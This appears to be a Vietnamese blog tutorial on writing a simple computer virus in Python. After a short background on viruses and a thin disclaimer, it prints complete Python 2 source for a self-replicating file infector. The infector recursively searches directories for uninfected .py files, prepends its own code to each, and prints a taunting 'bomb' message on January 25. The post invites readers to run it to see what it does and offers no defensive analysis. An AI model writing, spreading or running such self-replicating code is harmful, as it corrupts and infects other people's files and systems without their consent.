Hướng dẫn tự viết Virus đơn giản bằng Python

Hướng dẫn tự viết một con Virus với Python

Chào các bạn !!

Một virus máy tính là loại hình chương trình phần mềm độc hại ( “malware”), khi thực hiện, sao chép theo cách tái tạo chính nó (sao chép mã nguồn riêng của mình) hoặc lây nhiễm các chương trình máy tính khác bằng cách thay đổi các chương trình máy tính có thể bao gồm them.Các file dữ liệu , hoặc “khởi động” khu vực của ổ đĩa cứng.

Những người viết virus sử dụng kỹ thuật đánh lừa bằng code và khai thác kiến thức chi tiết về lỗ hổng bảo mật để đạt được quyền truy cập vào các máy tính chủ của họ và nguồn lực tin. Phần lớn các virus nhắm mục tiêu các hệ thống chạy Microsoft Windows, sử dụng một loạt các cơ chế lây nhiễm chủ mới, và thường được sử dụng chống phát hiện hay còn gọi là bypass (qua mặt) các phần mềm Antivirus

Động cơ để tạo virus có thể bắt nguồn từ mục đích tìm kiếm lợi nhuận của các Hacker
ví dụ: với ransomware, mong muốn gửi một thông điệp chính trị, vui chơi giải trí cá nhân, để chứng minh rằng một lỗ hổng tồn tại trong phần mềm, cho sự phá hoại và từ chối dịch vụ, hoặc đơn giản chỉ vì họ muốn khám phá cybersecurityissues, sự sống nhân tạo và các thuật toán tiến hóa.

Ở đây trong bài viết này chúng tôi sẽ hướng dẫn mã vi rút python đơn giản để các bạn thấy được thế nào là Virus. Mặc dù đây là một con virus đơn giản nhưng đối với hệ thống máy tính ngày trước thì là cả một mối đe dọa hàng đầu thế giới đấy !!!

Lưu Ý Trước Khi LàmHướng dẫn của chúng tôi được thiết kế để hỗ trợ cho những người đam mê khao khát thử nghiệm an ninh trong việc học các kỹ năng mới, chúng tôi chỉ khuyên bạn nên kiểm tra hướng dẫn này trên một hệ thống hay một hệ điều hành thuộc về bạn. Chúng tôi không chịu trách nhiệm cho bất cứ ai nghĩ đó là một ý tưởng tốt để cố gắng sử dụng điều này để cố gắng để hack các hệ thống không thuộc về bạn.

#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT'S AN EVIL ALUGH BY THE WAY!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()

 

Muốn biết công dụng là gì thì thử mới biết =)))

Rathuuich chúc các bạn thành công nhé !

 

Đánh giá post
Exit mobile version